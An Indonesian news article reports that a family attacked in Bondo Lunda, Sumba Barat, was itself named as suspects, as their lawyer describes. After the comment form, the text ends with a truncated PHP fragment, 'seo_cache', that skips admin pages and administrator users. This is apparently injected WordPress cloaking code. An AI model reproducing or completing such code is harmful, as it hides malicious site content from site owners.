Kriminal

Nasib Miris Korban Penyerangan di Bondo Lunda, Bukannya Dapat Keadilan Malah Jadi Tersangka

×

Nasib Miris Korban Penyerangan di Bondo Lunda, Bukannya Dapat Keadilan Malah Jadi Tersangka

Sebarkan artikel ini

WAIKABUBAK, MENARASUMBA.COM -Penyerangan sekelompok orang terhadap satu keluarga di sebuah rumah kembali viral.

Setelah ditelusuri media ini, ternyata rekaman itu adalah kejadian pada Jumat (19/09/2025) di rumah Ama Mery, Kampung Bondo Lunda, Desa Kareka Nduku, Kecamatan Tana Righu, Kabupaten Sumba Barat.

Kepada menarasumba.com Sabtu (14/03/2026), kuasa hukum korban penyerangan, Akbar Umbu Nay, SH menjelaskan, laporan kliennya dipersulit dan bahkan berbalik ditetapkan sebagai tersangka.

Ia mengisahkan, pada 19 September 2025 pagi terjadi cek-cok antara para pihak di lingkungan tempat tinggal para pelapor. Cek-cok tersebut kemudian dimediasi dan diselesaikan secara damai oleh sekretaris desa bersama sejumlah anggota Linmas, dan beberapa tokoh masyarakat.

Pengacara Akbar Umbu Nay, SH (tengah) bersama para pelapor korban penyerangan di Bondo Lunda.

Proses mediasi tersebut berlangsung kurang lebih satu jam lebih, dan disudahi dengan kesepakatan damai secara keluarga.

“Sekitar 15 hingga 30 menit setelah itu, para pelapor bersama keluarga sedang berada di dapur rumah panggung itu untuk makan bersama,” terangnya.

Saat makan bersama itu terdapat beberapa anggota keluarga perempuan dan anak-anak di dalam rumah.

Secara tiba-tiba datang sekelompok orang dari arah barat menggunakan sepeda motor yang diperkirakan berjumlah 13 orang.

“Orang-orang ini kemudian melakukan penyerangan secara bersama-sama terhadap para pelapor yang berada di rumah tersebut,” katanya lebih lanjut.

Penyerangan tersebut berlangsung sekitar 15 sampai 30 menit yang mengakibatkan para pelapor dan keluarga terancam keselamatannya.

Kejadian ini terekam dalam video, serta disaksikan oleh sejumlah warga yang berada di lokasi kejadian.

Usai penyerangan, para korban menyelamatkan diri ke kantor polisi terdekat, untuk berlindung sekaligus melaporkan peristiwa ini.

“Oleh polisi, para korban diarahkan untuk melakukan pemeriksaan visum atas dugaan tindakan kekerasan yang dialami,” tutur Akbar Umbu Nay.

Pemeriksaan Tidak Maksimal

Laporan tersebut kemudian tercatat sebagai Perkara Nomor 29, dimana para pelapor sebagai korban dari tindakan penyerangan yang terjadi.

Namun pada hari yang sama, pihak yang diduga sebagai pelaku penyerangan justru membuat laporan balik dan mengaku sebagai korban, yang kemudian tercatat sebagai Perkara Nomor 28.

Akbar menyesalkan, dalam proses penyelidikan terhadap kasus penyerangan tersebut terdapat kejanggalan.

“Karena dari sekitar 13 orang yang diduga terlibat dalam penyerangan itu, polisi hanya memeriksa sekitar 3 (tiga) orang saja,” bebernya pula.

Padahal, para pelapor telah menghadirkan saksi-saksi netral serta bukti rekaman video, namun sampai saat ini proses pemeriksaan terhadap seluruh saksi dan bukti tersebut belum dilakukan secara maksimal dan proporsional.

Dalam laporan pelaku penyerangan disebutkan adanya pelemparan batu terhadap seseorang bernama Yosep Bora Nono.

Namun fakta di lapangan menunjukkan adanya ketidaksesuaian antara keterangan tersebut dengan kondisi fisik lokasi kejadian.

Fakta itu antara lain karena jarak rumah para pihak yang sangat dekat serta kondisi jendela rumah yang bagian bawahnya tertutup seng.

Jika ditelisik secara logika sangat sulit atau bahkan tidak mungkin batu dapat mengenai bagian yang diklaim rusak tersebut.

“Bahwa akibat dari penanganan perkara yang tidak menyeluruh tersebut, para pelapor sampai saat ini tidak memperoleh kepastian hukum,” tandas Akbar Umbu Nay. ( ANS/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>